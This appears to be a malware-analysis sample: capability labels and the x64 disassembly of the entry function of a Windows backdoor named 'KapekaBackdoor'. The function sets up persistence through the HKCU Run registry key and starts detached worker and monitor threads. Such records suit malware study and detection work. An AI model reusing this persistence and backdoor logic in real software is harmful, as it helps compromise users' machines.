Function at 0x6d1813b2
Capabilities:
Accept command line arguments
Persist via run registry key
Set registry value

Disassembly:
push rbp
push rbx
sub rsp, 0x198
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x130], rcx
mov dword [rbp + 0x138], edx
mov qword [rbp + 0x140], r8
cmp dword [rbp + 0x138], 1
je 0x6d1813ff
cmp dword [rbp + 0x138], 0
je 0x6d181671
cmp dword [rbp + 0x138], 3
ja 0x6d1816be
jmp 0x6d181671
lea rax, [rbp - 0x30]
mov r8d, 0x104
mov rdx, rax
mov rcx, qword [rbp + 0x130]
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp + 0xef]
mov rcx, rax
call fcn.6d182da0
mov rax, qword [sym.imp.KERNEL32.dll_GetCommandLineA]
call rax
mov rcx, rax
lea rdx, [rbp + 0xef]
lea rax, [rbp - 0x50]
mov r8, rdx
mov rdx, rcx
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0xef]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [0x6d18b020], rax
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [0x6d18b028], rax
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [0x6d18b030], rax
lea rax, [rbp - 0x50]
mov r8d, 0
lea rdx, [0x6d18800a]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::find_char_const__unsigned_long_long__const
cmp rax, 0xffffffffffffffff
setne al
test al, al
je 0x6d181568
lea rax, [rbp + 0xe0]
mov r8, rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
call rax
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.strlen
add eax, 1
mov rcx, qword [rbp + 0xe0]
mov dword [rsp + 0x28], eax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 1
mov r8d, 0
lea rdx, str.KapekaBackdoor
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp + 0xe0]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
lea rax, [rbp + 0xf0]
lea r9, [0x6d18b028]
lea r8, [0x6d18b020]
lea rdx, [sym.primary_thread_void__void_]
mov rcx, rax
call method.std::thread.thread_void____void__void___void__void__void____void__void___void__void_
lea rax, [rbp + 0xf0]
mov rcx, rax
call sym.std::thread::detach__
lea rax, [rbp + 0xf0]
mov rcx, rax
call method.std::thread.thread__
lea rax, [rbp + 0xf8]
lea r8, [0x6d18b020]
lea rdx, [sym.logoff_monitor_thread_void_]
mov rcx, rax
call method.std::thread.thread_void____void___void__void____void___void_
lea rax, [rbp + 0xf8]
mov rcx, rax
call sym.std::thread::detach__
lea rax, [rbp + 0xf8]
mov rcx, rax
call method.std::thread.thread__
lea rax, [rbp + 0x100]
lea r9, [0x6d18b030]
lea r8, [0x6d18b028]
lea rdx, [sym.task_monitor_thread_void__void_]
mov rcx, rax
call method.std::thread.thread_void____void__void___void__void__void____void__void___void__void_
lea rax, [rbp + 0x100]
mov rcx, rax
call sym.std::thread::detach__
lea rax, [rbp + 0x100]
mov rcx, rax
call method.std::thread.thread__
lea rax, [rbp + 0x108]
lea r8, [0x6d18b030]
lea rdx, [sym.task_completion_monitor_thread_void_]
mov rcx, rax
call method.std::thread.thread_void____void___void__void____void___void_
lea rax, [rbp + 0x108]
mov rcx, rax
call sym.std::thread::detach__
lea rax, [rbp + 0x108]
mov rcx, rax
call method.std::thread.thread__
nop
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x6d1816be
mov rax, qword [0x6d18b020]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetEvent]
call rax
mov rax, qword [0x6d18b020]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [0x6d18b028]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [0x6d18b030]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
mov eax, 1
jmp 0x6d18174f
add rsp, 0x198
pop rbx
pop rbp
ret